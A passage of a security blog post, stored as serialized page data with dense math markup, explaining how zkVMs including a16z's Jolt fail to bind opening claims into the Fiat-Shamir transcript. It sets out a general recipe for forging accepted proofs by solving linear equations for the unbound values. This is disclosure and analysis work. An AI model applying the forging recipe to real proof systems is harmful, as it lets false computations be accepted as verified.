execution.",{"type":25,"tag":20292,"props":115999,"children":116000},{},[],{"type":25,"tag":26,"props":116002,"children":116004},{"id":116003},"the-universal-attack-pattern",[116005],{"type":31,"value":116006},"The Universal Attack Pattern",{"type":25,"tag":34,"props":116008,"children":116009},{},[116010],{"type":31,"value":116011},"Now we can describe the attack pattern that works on all six systems:",{"type":25,"tag":34,"props":116013,"children":116014},{},[116015],{"type":25,"tag":127,"props":116016,"children":116019},{"alt":116017,"src":116018},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":25,"tag":34,"props":116021,"children":116022},{},[116023,116025,116050],{"type":31,"value":116024},"When a value ",{"type":25,"tag":115,"props":116026,"children":116028},{"className":116027},[5485,5486],[116029],{"type":25,"tag":201,"props":116030,"children":116032},{"className":116031},[5491],[116033],{"type":25,"tag":201,"props":116034,"children":116036},{"className":116035,"ariaHidden":5497},[5496],[116037],{"type":25,"tag":201,"props":116038,"children":116040},{"className":116039},[5502],[116041,116045],{"type":25,"tag":201,"props":116042,"children":116044},{"className":116043,"style":23078},[5507],[],{"type":25,"tag":201,"props":116046,"children":116048},{"className":116047,"style":109329},[5513,23083],[116049],{"type":31,"value":109653},{"type":31,"value":116051}," isn't transcript-bound:",{"type":25,"tag":6944,"props":116053,"children":116054},{},[116055,116086,116163,116308],{"type":25,"tag":6948,"props":116056,"children":116057},{},[116058,116060,116085],{"type":31,"value":116059},"Challenges are fixed (independent of ",{"type":25,"tag":115,"props":116061,"children":116063},{"className":116062},[5485,5486],[116064],{"type":25,"tag":201,"props":116065,"children":116067},{"className":116066},[5491],[116068],{"type":25,"tag":201,"props":116069,"children":116071},{"className":116070,"ariaHidden":5497},[5496],[116072],{"type":25,"tag":201,"props":116073,"children":116075},{"className":116074},[5502],[116076,116080],{"type":25,"tag":201,"props":116077,"children":116079},{"className":116078,"style":23078},[5507],[],{"type":25,"tag":201,"props":116081,"children":116083},{"className":116082,"style":109329},[5513,23083],[116084],{"type":31,"value":109653},{"type":31,"value":3073},{"type":25,"tag":6948,"props":116087,"children":116088},{},[116089,116091],{"type":31,"value":116090},"The verification equation has form: ",{"type":25,"tag":115,"props":116092,"children":116094},{"className":116093},[5485,5486],[116095],{"type":25,"tag":201,"props":116096,"children":116098},{"className":116097},[5491],[116099],{"type":25,"tag":201,"props":116100,"children":116102},{"className":116101,"ariaHidden":5497},[5496],[116103,116144],{"type":25,"tag":201,"props":116104,"children":116106},{"className":116105},[5502],[116107,116111,116116,116121,116126,116131,116135,116140],{"type":25,"tag":201,"props":116108,"children":116110},{"className":116109,"style":5614},[5507],[],{"type":25,"tag":201,"props":116112,"children":116114},{"className":116113,"style":96485},[5513,23083],[116115],{"type":31,"value":2020},{"type":25,"tag":201,"props":116117,"children":116119},{"className":116118},[23212],[116120],{"type":31,"value":298},{"type":25,"tag":201,"props":116122,"children":116124},{"className":116123,"style":109329},[5513,23083],[116125],{"type":31,"value":109653},{"type":25,"tag":201,"props":116127,"children":116129},{"className":116128},[23234],[116130],{"type":31,"value":3073},{"type":25,"tag":201,"props":116132,"children":116134},{"className":116133,"style":5691},[5593],[],{"type":25,"tag":201,"props":116136,"children":116138},{"className":116137},[5696],[116139],{"type":31,"value":1383},{"type":25,"tag":201,"props":116141,"children":116143},{"className":116142,"style":5691},[5593],[],{"type":25,"tag":201,"props":116145,"children":116147},{"className":116146},[5502],[116148,116153],{"type":25,"tag":201,"props":116149,"children":116152},{"className":116150,"style":116151},[5507],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":25,"tag":201,"props":116154,"children":116156},{"className":116155},[5513,31],[116157],{"type":25,"tag":201,"props":116158,"children":116160},{"className":116159},[5513],[116161],{"type":31,"value":116162},"target",{"type":25,"tag":6948,"props":116164,"children":116165},{},[116166,116167,116193,116195],{"type":31,"value":8989},{"type":25,"tag":115,"props":116168,"children":116170},{"className":116169},[5485,5486],[116171],{"type":25,"tag":201,"props":116172,"children":116174},{"className":116173},[5491],[116175],{"type":25,"tag":201,"props":116176,"children":116178},{"className":116177,"ariaHidden":5497},[5496],[116179],{"type":25,"tag":201,"props":116180,"children":116182},{"className":116181},[5502],[116183,116188],{"type":25,"tag":201,"props":116184,"children":116187},{"className":116185,"style":116186},[5507],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":25,"tag":201,"props":116189,"children":116191},{"className":116190,"style":96485},[5513,23083],[116192],{"type":31,"value":2020},{"type":31,"value":116194}," is linear: ",{"type":25,"tag":115,"props":116196,"children":116198},{"className":116197},[5485,5486],[116199],{"type":25,"tag":201,"props":116200,"children":116202},{"className":116201},[5491],[116203],{"type":25,"tag":201,"props":116204,"children":116206},{"className":116205,"ariaHidden":5497},[5496],[116207,116236,116263,116291],{"type":25,"tag":201,"props":116208,"children":116210},{"className":116209},[5502],[116211,116216,116223,116227,116232],{"type":25,"tag":201,"props":116212,"children":116215},{"className":116213,"style":116214},[5507],"height:0.4445em;",[],{"type":25,"tag":201,"props":116217,"children":116220},{"className":116218,"style":116219},[5513,23083],"margin-right:0.0037em;",[116221],{"type":31,"value":116222},"α",{"type":25,"tag":201,"props":116224,"children":116226},{"className":116225,"style":5594},[5593],[],{"type":25,"tag":201,"props":116228,"children":116230},{"className":116229},[5599],[116231],{"type":31,"value":112393},{"type":25,"tag":201,"props":116233,"children":116235},{"className":116234,"style":5594},[5593],[],{"type":25,"tag":201,"props":116237,"children":116239},{"className":116238},[5502],[116240,116245,116250,116254,116259],{"type":25,"tag":201,"props":116241,"children":116244},{"className":116242,"style":116243},[5507],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":25,"tag":201,"props":116246,"children":116248},{"className":116247,"style":109329},[5513,23083],[116249],{"type":31,"value":109653},{"type":25,"tag":201,"props":116251,"children":116253},{"className":116252,"style":5594},[5593],[],{"type":25,"tag":201,"props":116255,"children":116257},{"className":116256},[5599],[116258],{"type":31,"value":5886},{"type":25,"tag":201,"props":116260,"children":116262},{"className":116261,"style":5594},[5593],[],{"type":25,"tag":201,"props":116264,"children":116266},{"className":116265},[5502],[116267,116271,116278,116282,116287],{"type":25,"tag":201,"props":116268,"children":116270},{"className":116269,"style":116186},[5507],[],{"type":25,"tag":201,"props":116272,"children":116275},{"className":116273,"style":116274},[5513,23083],"margin-right:0.05278em;",[116276],{"type":31,"value":116277},"β",{"type":25,"tag":201,"props":116279,"children":116281},{"className":116280,"style":5691},[5593],[],{"type":25,"tag":201,"props":116283,"children":116285},{"className":116284},[5696],[116286],{"type":31,"value":1383},{"type":25,"tag":201,"props":116288,"children":116290},{"className":116289,"style":5691},[5593],[],{"type":25,"tag":201,"props":116292,"children":116294},{"className":116293},[5502],[116295,116299],{"type":25,"tag":201,"props":116296,"children":116298},{"className":116297,"style":116151},[5507],[],{"type":25,"tag":201,"props":116300,"children":116302},{"className":116301},[5513,31],[116303],{"type":25,"tag":201,"props":116304,"children":116306},{"className":116305},[5513],[116307],{"type":31,"value":116162},{"type":25,"tag":6948,"props":116309,"children":116310},{},[116311,116313],{"type":31,"value":116312},"Solve: ",{"type":25,"tag":115,"props":116314,"children":116316},{"className":116315},[5485,5486],[116317],{"type":25,"tag":201,"props":116318,"children":116320},{"className":116319},[5491],[116321],{"type":25,"tag":201,"props":116322,"children":116324},{"className":116323,"ariaHidden":5497},[5496],[116325,116351,116386],{"type":25,"tag":201,"props":116326,"children":116328},{"className":116327},[5502],[116329,116333,116338,116342,116347],{"type":25,"tag":201,"props":116330,"children":116332},{"className":116331,"style":23078},[5507],[],{"type":25,"tag":201,"props":116334,"children":116336},{"className":116335,"style":109329},[5513,23083],[116337],{"type":31,"value":109653},{"type":25,"tag":201,"props":116339,"children":116341},{"className":116340,"style":5691},[5593],[],{"type":25,"tag":201,"props":116343,"children":116345},{"className":116344},[5696],[116346],{"type":31,"value":1383},{"type":25,"tag":201,"props":116348,"children":116350},{"className":116349,"style":5691},[5593],[],{"type":25,"tag":201,"props":116352,"children":116354},{"className":116353},[5502],[116355,116359,116364,116373,116377,116382],{"type":25,"tag":201,"props":116356,"children":116358},{"className":116357,"style":5614},[5507],[],{"type":25,"tag":201,"props":116360,"children":116362},{"className":116361},[23212],[116363],{"type":31,"value":298},{"type":25,"tag":201,"props":116365,"children":116367},{"className":116366},[5513,31],[116368],{"type":25,"tag":201,"props":116369,"children":116371},{"className":116370},[5513],[116372],{"type":31,"value":116162},{"type":25,"tag":201,"props":116374,"children":116376},{"className":116375,"style":5594},[5593],[],{"type":25,"tag":201,"props":116378,"children":116380},{"className":116379},[5599],[116381],{"type":31,"value":5573},{"type":25,"tag":201,"props":116383,"children":116385},{"className":116384,"style":5594},[5593],[],{"type":25,"tag":201,"props":116387,"children":116389},{"className":116388},[5502],[116390,116394,116399,116404,116409],{"type":25,"tag":201,"props":116391,"children":116393},{"className":116392,"style":5614},[5507],[],{"type":25,"tag":201,"props":116395,"children":116397},{"className":116396,"style":116274},[5513,23083],[116398],{"type":31,"value":116277},{"type":25,"tag":201,"props":116400,"children":116402},{"className":116401},[23234],[116403],{"type":31,"value":3073},{"type":25,"tag":201,"props":116405,"children":116407},{"className":116406},[5513],[116408],{"type":31,"value":6087},{"type":25,"tag":201,"props":116410,"children":116412},{"className":116411,"style":116219},[5513,23083],[116413],{"type":31,"value":116222},{"type":25,"tag":34,"props":116415,"children":116416},{},[116417],{"type":31,"value":116418},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":25,"tag":34,"props":116420,"children":116421},{},[116422,116424,116502],{"type":31,"value":116423},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":25,"tag":115,"props":116425,"children":116427},{"className":116426},[5485,5486],[116428],{"type":25,"tag":201,"props":116429,"children":116431},{"className":116430},[5491],[116432],{"type":25,"tag":201,"props":116433,"children":116435},{"className":116434,"ariaHidden":5497},[5496],[116436],{"type":25,"tag":201,"props":116437,"children":116439},{"className":116438},[5502],[116440,116445,116451,116456,116497],{"type":25,"tag":201,"props":116441,"children":116444},{"className":116442,"style":116443},[5507],"height:1.0641em;vertical-align:-0.25em;",[],{"type":25,"tag":201,"props":116446,"children":116448},{"className":116447,"style":94131},[5513,23083],[116449],{"type":31,"value":116450},"O",{"type":25,"tag":201,"props":116452,"children":116454},{"className":116453},[23212],[116455],{"type":31,"value":298},{"type":25,"tag":201,"props":116457,"children":116459},{"className":116458},[5513],[116460,116465],{"type":25,"tag":201,"props":116461,"children":116463},{"className":116462},[5513,23083],[116464],{"type":31,"value":57482},{"type":25,"tag":201,"props":116466,"children":116468},{"className":116467},[5529],[116469],{"type":25,"tag":201,"props":116470,"children":116472},{"className":116471},[5534],[116473],{"type":25,"tag":201,"props":116474,"children":116476},{"className":116475},[5539],[116477],{"type":25,"tag":201,"props":116478,"children":116480},{"className":116479,"style":5508},[5544],[116481],{"type":25,"tag":201,"props":116482,"children":116483},{"style":5548},[116484,116488],{"type":25,"tag":201,"props":116485,"children":116487},{"className":116486,"style":5554},[5553],[],{"type":25,"tag":201,"props":116489,"children":116491},{"className":116490},[5559,5560,5561,5562],[116492],{"type":25,"tag":201,"props":116493,"children":116495},{"className":116494},[5513,5562],[116496],{"type":31,"value":18792},{"type":25,"tag":201,"props":116498,"children":116500},{"className":116499},[23234],[116501],{"type":31,"value":3073},{"type":31,"value":116503}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":25,"tag":20292,"props":116505,"children":116506},{},[],{"type":25,"tag":26,"props":116508,"children":116510},{"id":116509},"the-six-broken-systems",[116511],{"type":31,"value":116512},"The Six Broken Systems",{"type":25,"tag":34,"props":116514,"children":116515},{},[116516],{"type":25,"tag":127,"props":116517,"children":116520},{"alt":116518,"src":116519},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":25,"tag":34,"props":116522,"children":116523},{},[116524],{"type":31,"value":116525},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":25,"tag":20292,"props":116527,"children":116528},{},[],{"type":25,"tag":40,"props":116530,"children":116532},{"id":116531},"jolt-a16z",[116533],{"type":31,"value":116534},"Jolt (a16z)",{"type":25,"tag":34,"props":116536,"children":116537},{},[116538],{"type":31,"value":116539},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":25,"tag":34,"props":116541,"children":116542},{},[116543],{"type":25,"tag":1252,"props":116544,"children":116545},{},[116546],{"type":31,"value":116547},"The proof structure:",{"type":25,"tag":191,"props":116549,"children":116551},{"code":116550},"JoltProof {\n    commitments: Vec\u003CCommitment>,           // Polynomial commitments to trace\n    opening_claims: Map\u003COpeningId, Claim>,  // \u003C- THE VULNERABLE VALUES\n    proofs: Map\u003CStage, SumcheckProof>,      // Sumcheck and opening proofs\n    ...\n}\n",[116552],{"type":25,"tag":115,"props":116553,"children":116554},{"__ignoreMap":7},[116555],{"type":31,"value":116550},{"type":25,"tag":34,"props":116557,"children":116558},{},[116559],{"type":25,"tag":1252,"props":116560,"children":116561},{},[116562],{"type":31,"value":116563},"The verification flow:",{"type":25,"tag":34,"props":116565,"children":116566},{},[116567],{"type":25,"tag":127,"props":116568,"children":116571},{"alt":116569,"src":116570},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":25,"tag":34,"props":116573,"children":116574},{},[116575,116580,116582,116588,116590,116596,116598,116603],{"type":25,"tag":1252,"props":116576,"children":116577},{},[116578],{"type":31,"value":116579},"The bug:",{"type":31,"value":116581}," Each sumcheck instance provides an ",{"type":25,"tag":115,"props":116583,"children":116585},{"className":116584},[],[116586],{"type":31,"value":116587},"input_claim",{"type":31,"value":116589},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":25,"tag":115,"props":116591,"children":116593},{"className":116592},[],[116594],{"type":31,"value":116595},"opening_claims",{"type":31,"value":116597}," in the proof, but they were ",{"type":25,"tag":1252,"props":116599,"children":116600},{},[116601],{"type":31,"value":116602},"never absorbed into the transcript",{"type":31,"value":116604}," before the batching coefficients were derived.",{"type":25,"tag":34,"props":116606,"children":116607},{},[116608],{"type":25,"tag":127,"props":116609,"children":116612},{"alt":116610,"src":116611},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":25,"tag":34,"props":116614,"children":116615},{},[116616],{"type":25,"tag":1252,"props":116617,"children":116618},{},[116619],{"type":31,"value":116620},"How sumcheck uses opening_claims:",{"type":25,"tag":34,"props":116622,"children":116623},{},[116624,116626,116632,116634,116711],{"type":31,"value":116625},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":25,"tag":115,"props":116627,"children":116629},{"className":116628},[],[116630],{"type":31,"value":116631},"BatchedClaim",{"type":31,"value":116633}," by taking a random linear combination of the individual claims ",{"type":25,"tag":115,"props":116635,"children":116637},{"className":116636},[5485,5486],[116638],{"type":25,"tag":201,"props":116639,"children":116641},{"className":116640},[5491],[116642],{"type":25,"tag":201,"props":116643,"children":116645},{"className":116644,"ariaHidden":5497},[5496],[116646],{"type":25,"tag":201,"props":116647,"children":116649},{"className":116648},[5502],[116650,116654],{"type":25,"tag":201,"props":116651,"children":116653},{"className":116652,"style":112128},[5507],[],{"type":25,"tag":201,"props":116655,"children":116657},{"className":116656},[5513],[116658,116663],{"type":25,"tag":201,"props":116659,"children":116661},{"className":116660,"style":94365},[5513,23083],[116662],{"type":31,"value":94368},{"type":25,"tag":201,"props":116664,"children":116666},{"className":116665},[5529],[116667],{"type":25,"tag":201,"props":116668,"children":116670},{"className":116669},[5534,23137],[116671,116700],{"type":25,"tag":201,"props":116672,"children":116674},{"className":116673},[5539],[116675,116695],{"type":25,"tag":201,"props":116676,"children":116678},{"className":116677,"style":94660},[5544],[116679],{"type":25,"tag":201,"props":116680,"children":116681},{"style":111560},[116682,116686],{"type":25,"tag":201,"props":116683,"children":116685},{"className":116684,"style":5554},[5553],[],{"type":25,"tag":201,"props":116687,"children":116689},{"className":116688},[5559,5560,5561,5562],[116690],{"type":25,"tag":201,"props":116691,"children":116693},{"className":116692},[5513,23083,5562],[116694],{"type":31,"value":3641},{"type":25,"tag":201,"props":116696,"children":116698},{"className":116697},[23240],[116699],{"type":31,"value":23243},{"type":25,"tag":201,"props":116701,"children":116703},{"className":116702},[5539],[116704],{"type":25,"tag":201,"props":116705,"children":116707},{"className":116706,"style":94214},[5544],[116708],{"type":25,"tag":201,"props":116709,"children":116710},{},[],{"type":31,"value":5997},{"type":25,"tag":34,"props":116713,"children":116714},{},[116715],{"type":25,"tag":115,"props":116716,"children":116718},{"className":116717},[5485,5486],[116719],{"type":25,"tag":201,"props":116720,"children":116722},{"className":116721},[5491],[116723],{"type":25,"tag":201,"props":116724,"children":116726},{"className":116725,"ariaHidden":5497},[5496],[116727,116757,116898],{"type":25,"tag":201,"props":116728,"children":116730},{"className":116729},[5502],[116731,116735,116744,116748,116753],{"type":25,"tag":201,"props":116732,"children":116734},{"className":116733,"style":94046},[5507],[],{"type":25,"tag":201,"props":116736,"children":116738},{"className":116737},[5513,31],[116739],{"type":25,"tag":201,"props":116740,"children":116742},{"className":116741},[5513],[116743],{"type":31,"value":116631},{"type":25,"tag":201,"props":116745,"children":116747},{"className":116746,"style":5691},[5593],[],{"type":25,"tag":201,"props":116749,"children":116751},{"className":116750},[5696],[116752],{"type":31,"value":1383},{"type":25,"tag":201,"props":116754,"children":116756},{"className":116755,"style":5691},[5593],[],{"type":25,"tag":201,"props":116758,"children":116760},{"className":116759},[5502],[116761,116766,116823,116827,116885,116889,116894],{"type":25,"tag":201,"props":116762,"children":116765},{"className":116763,"style":116764},[5507],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":25,"tag":201,"props":116767,"children":116769},{"className":116768},[23119],[116770,116775],{"type":25,"tag":201,"props":116771,"children":116773},{"className":116772,"style":23126},[23119,23124,23125],[116774],{"type":31,"value":109926},{"type":25,"tag":201,"props":116776,"children":116778},{"className":116777},[5529],[116779],{"type":25,"tag":201,"props":116780,"children":116782},{"className":116781},[5534,23137],[116783,116812],{"type":25,"tag":201,"props":116784,"children":116786},{"className":116785},[5539],[116787,116807],{"type":25,"tag":201,"props":116788,"children":116790},{"className":116789,"style":115338},[5544],[116791],{"type":25,"tag":201,"props":116792,"children":116793},{"style":23150},[116794,116798],{"type":25,"tag":201,"props":116795,"children":116797},{"className":116796,"style":5554},[5553],[],{"type":25,"tag":201,"props":116799,"children":116801},{"className":116800},[5559,5560,5561,5562],[116802],{"type":25,"tag":201,"props":116803,"children":116805},{"className":116804},[5513,23083,5562],[116806],{"type":31,"value":3641},{"type":25,"tag":201,"props":116808,"children":116810},{"className":116809},[23240],[116811],{"type":31,"value":23243},{"type":25,"tag":201,"props":116813,"children":116815},{"className":116814},[5539],[116816],{"type":25,"tag":201,"props":116817,"children":116819},{"className":116818,"style":115618},[5544],[116820],{"type":25,"tag":201,"props":116821,"children":116822},{},[],{"type":25,"tag":201,"props":116824,"children":116826},{"className":116825,"style":5632},[5593],[],{"type":25,"tag":201,"props":116828,"children":116830},{"className":116829},[5513],[116831,116836],{"type":25,"tag":201,"props":116832,"children":116834},{"className":116833,"style":116219},[5513,23083],[116835],{"type":31,"value":116222},{"type":25,"tag":201,"props":116837,"children":116839},{"className":116838},[5529],[116840],{"type":25,"tag":201,"props":116841,"children":116843},{"className":116842},[5534,23137],[116844,116874],{"type":25,"tag":201,"props":116845,"children":116847},{"className":116846},[5539],[116848,116869],{"type":25,"tag":201,"props":116849,"children":116851},{"className":116850,"style":94660},[5544],[116852],{"type":25,"tag":201,"props":116853,"children":116855},{"style":116854},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[116856,116860],{"type":25,"tag":201,"props":116857,"children":116859},{"className":116858,"style":5554},[5553],[],{"type":25,"tag":201,"props":116861,"children":116863},{"className":116862},[5559,5560,5561,5562],[116864],{"type":25,"tag":201,"props":116865,"children":116867},{"className":116866},[5513,23083,5562],[116868],{"type":31,"value":3641},{"type":25,"tag":201,"props":116870,"children":116872},{"className":116871},[23240],[116873],{"type":31,"value":23243},{"type":25,"tag":201,"props":116875,"children":116877},{"className":116876},[5539],[116878],{"type":25,"tag":201,"props":116879,"children":116881},{"className":116880,"style":94214},[5544],[116882],{"type":25,"tag":201,"props":116883,"children":116884},{},[],{"type":25,"tag":201,"props":116886,"children":116888},{"className":116887,"style":5594},[5593],[],{"type":25,"tag":201,"props":116890,"children":116892},{"className":116891},[5599],[116893],{"type":31,"value":112393},{"type":25,"tag":201,"props":116895,"children":116897},{"className":116896,"style":5594},[5593],[],{"type":25,"tag":201,"props":116899,"children":116901},{"className":116900},[5502],[116902,116906],{"type":25,"tag":201,"props":116903,"children":116905},{"className":116904,"style":112128},[5507],[],{"type":25,"tag":201,"props":116907,"children":116909},{"className":116908},[5513],[116910,116915],{"type":25,"tag":201,"props":116911,"children":116913},{"className":116912,"style":94365},[5513,23083],[116914],{"type":31,"value":94368},{"type":25,"tag":201,"props":116916,"children":116918},{"className":116917},[5529],[116919],{"type":25,"tag":201,"props":116920,"children":116922},{"className":116921},[5534,23137],[116923,116952],{"type":25,"tag":201,"props":116924,"children":116926},{"className":116925},[5539],[116927,116947],{"type":25,"tag":201,"props":116928,"children":116930},{"className":116929,"style":94660},[5544],[116931],{"type":25,"tag":201,"props":116932,"children":116933},{"style":111560},[116934,116938],{"type":25,"tag":201,"props":116935,"children":116937},{"className":116936,"style":5554},[5553],[],{"type":25,"tag":201,"props":116939,"children":116941},{"className":116940},[5559,5560,5561,5562],[116942],{"type":25,"tag":201,"props":116943,"children":116945},{"className":116944},[5513,23083,5562],[116946],{"type":31,"value":3641},{"type":25,"tag":201,"props":116948,"children":116950},{"className":116949},[23240],[116951],{"type":31,"value":23243},{"type":25,"tag":201,"props":116953,"children":116955},{"className":116954},[5539],[116956],{"type":25,"tag":201,"props":116957,"children":116959},{"className":116958,"style":94214},[5544],[116960],{"type":25,"tag":201,"props":116961,"children":116962},{},[],{"type":25,"tag":34,"props":116964,"children":116965},{},[116966,116968,117045,117047,117052,117054,117131,117133,117210,117212,117289],{"type":31,"value":116967},"where ",{"type":25,"tag":115,"props":116969,"children":116971},{"className":116970},[5485,5486],[116972],{"type":25,"tag":201,"props":116973,"children":116975},{"className":116974},[5491],[116976],{"type":25,"tag":201,"props":116977,"children":116979},{"className":116978,"ariaHidden":5497},[5496],[116980],{"type":25,"tag":201,"props":116981,"children":116983},{"className":116982},[5502],[116984,116988],{"type":25,"tag":201,"props":116985,"children":116987},{"className":116986,"style":111101},[5507],[],{"type":25,"tag":201,"props":116989,"children":116991},{"className":116990},[5513],[116992,116997],{"type":25,"tag":201,"props":116993,"children":116995},{"className":116994,"style":116219},[5513,23083],[116996],{"type":31,"value":116222},{"type":25,"tag":201,"props":116998,"children":117000},{"className":116999},[5529],[117001],{"type":25,"tag":201,"props":117002,"children":117004},{"className":117003},[5534,23137],[117005,117034],{"type":25,"tag":201,"props":117006,"children":117008},{"className":117007},[5539],[117009,117029],{"type":25,"tag":201,"props":117010,"children":117012},{"className":117011,"style":94660},[5544],[117013],{"type":25,"tag":201,"props":117014,"children":117015},{"style":116854},[117016,117020],{"type":25,"tag":201,"props":117017,"children":117019},{"className":117018,"style":5554},[5553],[],{"type":25,"tag":201,"props":117021,"children":117023},{"className":117022},[5559,5560,5561,5562],[117024],{"type":25,"tag":201,"props":117025,"children":117027},{"className":117026},[5513,23083,5562],[117028],{"type":31,"value":3641},{"type":25,"tag":201,"props":117030,"children":117032},{"className":117031},[23240],[117033],{"type":31,"value":23243},{"type":25,"tag":201,"props":117035,"children":117037},{"className":117036},[5539],[117038],{"type":25,"tag":201,"props":117039,"children":117041},{"className":117040,"style":94214},[5544],[117042],{"type":25,"tag":201,"props":117043,"children":117044},{},[],{"type":31,"value":117046}," are random coefficients derived from the transcript. Since ",{"type":25,"tag":115,"props":117048,"children":117050},{"className":117049},[],[117051],{"type":31,"value":116595},{"type":31,"value":117053}," (containing ",{"type":25,"tag":115,"props":117055,"children":117057},{"className":117056},[5485,5486],[117058],{"type":25,"tag":201,"props":117059,"children":117061},{"className":117060},[5491],[117062],{"type":25,"tag":201,"props":117063,"children":117065},{"className":117064,"ariaHidden":5497},[5496],[117066],{"type":25,"tag":201,"props":117067,"children":117069},{"className":117068},[5502],[117070,117074],{"type":25,"tag":201,"props":117071,"children":117073},{"className":117072,"style":112128},[5507],[],{"type":25,"tag":201,"props":117075,"children":117077},{"className":117076},[5513],[117078,117083],{"type":25,"tag":201,"props":117079,"children":117081},{"className":117080,"style":94365},[5513,23083],[117082],{"type":31,"value":94368},{"type":25,"tag":201,"props":117084,"children":117086},{"className":117085},[5529],[117087],{"type":25,"tag":201,"props":117088,"children":117090},{"className":117089},[5534,23137],[117091,117120],{"type":25,"tag":201,"props":117092,"children":117094},{"className":117093},[5539],[117095,117115],{"type":25,"tag":201,"props":117096,"children":117098},{"className":117097,"style":94660},[5544],[117099],{"type":25,"tag":201,"props":117100,"children":117101},{"style":111560},[117102,117106],{"type":25,"tag":201,"props":117103,"children":117105},{"className":117104,"style":5554},[5553],[],{"type":25,"tag":201,"props":117107,"children":117109},{"className":117108},[5559,5560,5561,5562],[117110],{"type":25,"tag":201,"props":117111,"children":117113},{"className":117112},[5513,23083,5562],[117114],{"type":31,"value":3641},{"type":25,"tag":201,"props":117116,"children":117118},{"className":117117},[23240],[117119],{"type":31,"value":23243},{"type":25,"tag":201,"props":117121,"children":117123},{"className":117122},[5539],[117124],{"type":25,"tag":201,"props":117125,"children":117127},{"className":117126,"style":94214},[5544],[117128],{"type":25,"tag":201,"props":117129,"children":117130},{},[],{"type":31,"value":117132},") were not in the transcript, the ",{"type":25,"tag":115,"props":117134,"children":117136},{"className":117135},[5485,5486],[117137],{"type":25,"tag":201,"props":117138,"children":117140},{"className":117139},[5491],[117141],{"type":25,"tag":201,"props":117142,"children":117144},{"className":117143,"ariaHidden":5497},[5496],[117145],{"type":25,"tag":201,"props":117146,"children":117148},{"className":117147},[5502],[117149,117153],{"type":25,"tag":201,"props":117150,"children":117152},{"className":117151,"style":111101},[5507],[],{"type":25,"tag":201,"props":117154,"children":117156},{"className":117155},[5513],[117157,117162],{"type":25,"tag":201,"props":117158,"children":117160},{"className":117159,"style":116219},[5513,23083],[117161],{"type":31,"value":116222},{"type":25,"tag":201,"props":117163,"children":117165},{"className":117164},[5529],[117166],{"type":25,"tag":201,"props":117167,"children":117169},{"className":117168},[5534,23137],[117170,117199],{"type":25,"tag":201,"props":117171,"children":117173},{"className":117172},[5539],[117174,117194],{"type":25,"tag":201,"props":117175,"children":117177},{"className":117176,"style":94660},[5544],[117178],{"type":25,"tag":201,"props":117179,"children":117180},{"style":116854},[117181,117185],{"type":25,"tag":201,"props":117182,"children":117184},{"className":117183,"style":5554},[5553],[],{"type":25,"tag":201,"props":117186,"children":117188},{"className":117187},[5559,5560,5561,5562],[117189],{"type":25,"tag":201,"props":117190,"children":117192},{"className":117191},[5513,23083,5562],[117193],{"type":31,"value":3641},{"type":25,"tag":201,"props":117195,"children":117197},{"className":117196},[23240],[117198],{"type":31,"value":23243},{"type":25,"tag":201,"props":117200,"children":117202},{"className":117201},[5539],[117203],{"type":25,"tag":201,"props":117204,"children":117206},{"className":117205,"style":94214},[5544],[117207],{"type":25,"tag":201,"props":117208,"children":117209},{},[],{"type":31,"value":117211}," values are independent of ",{"type":25,"tag":115,"props":117213,"children":117215},{"className":117214},[5485,5486],[117216],{"type":25,"tag":201,"props":117217,"children":117219},{"className":117218},[5491],[117220],{"type":25,"tag":201,"props":117221,"children":117223},{"className":117222,"ariaHidden":5497},[5496],[117224],{"type":25,"tag":201,"props":117225,"children":117227},{"className":117226},[5502],[117228,117232],{"type":25,"tag":201,"props":117229,"children":117231},{"className":117230,"style":112128},[5507],[],{"type":25,"tag":201,"props":117233,"children":117235},{"className":117234},[5513],[117236,117241],{"type":25,"tag":201,"props":117237,"children":117239},{"className":117238,"style":94365},[5513,23083],[117240],{"type":31,"value":94368},{"type":25,"tag":201,"props":117242,"children":117244},{"className":117243},[5529],[117245],{"type":25,"tag":201,"props":117246,"children":117248},{"className":117247},[5534,23137],[117249,117278],{"type":25,"tag":201,"props":117250,"children":117252},{"className":117251},[5539],[117253,117273],{"type":25,"tag":201,"props":117254,"children":117256},{"className":117255,"style":94660},[5544],[117257],{"type":25,"tag":201,"props":117258,"children":117259},{"style":111560},[117260,117264],{"type":25,"tag":201,"props":117261,"children":117263},{"className":117262,"style":5554},[5553],[],{"type":25,"tag":201,"props":117265,"children":117267},{"className":117266},[5559,5560,5561,5562],[117268],{"type":25,"tag":201,"props":117269,"children":117271},{"className":117270},[5513,23083,5562],[117272],{"type":31,"value":3641},{"type":25,"tag":201,"props":117274,"children":117276},{"className":117275},[23240],[117277],{"type":31,"value":23243},{"type":25,"tag":201,"props":117279,"children":117281},{"className":117280},[5539],[117282],{"type":25,"tag":201,"props":117283,"children":117285},{"className":117284,"style":94214},[5544],[117286],{"type":25,"tag":201,"props":117287,"children":117288},{},[],{"type":31,"value":80},{"type":25,"tag":34,"props":117291,"children":117292},{},[117293],{"type":25,"tag":1252,"props":117294,"children":117295},{},[117296],{"type":31,"value":117297},"Why it's linear:",{"type":25,"tag":34,"props":117299,"children":117300},{},[117301,117303],{"type":31,"value":117302},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim 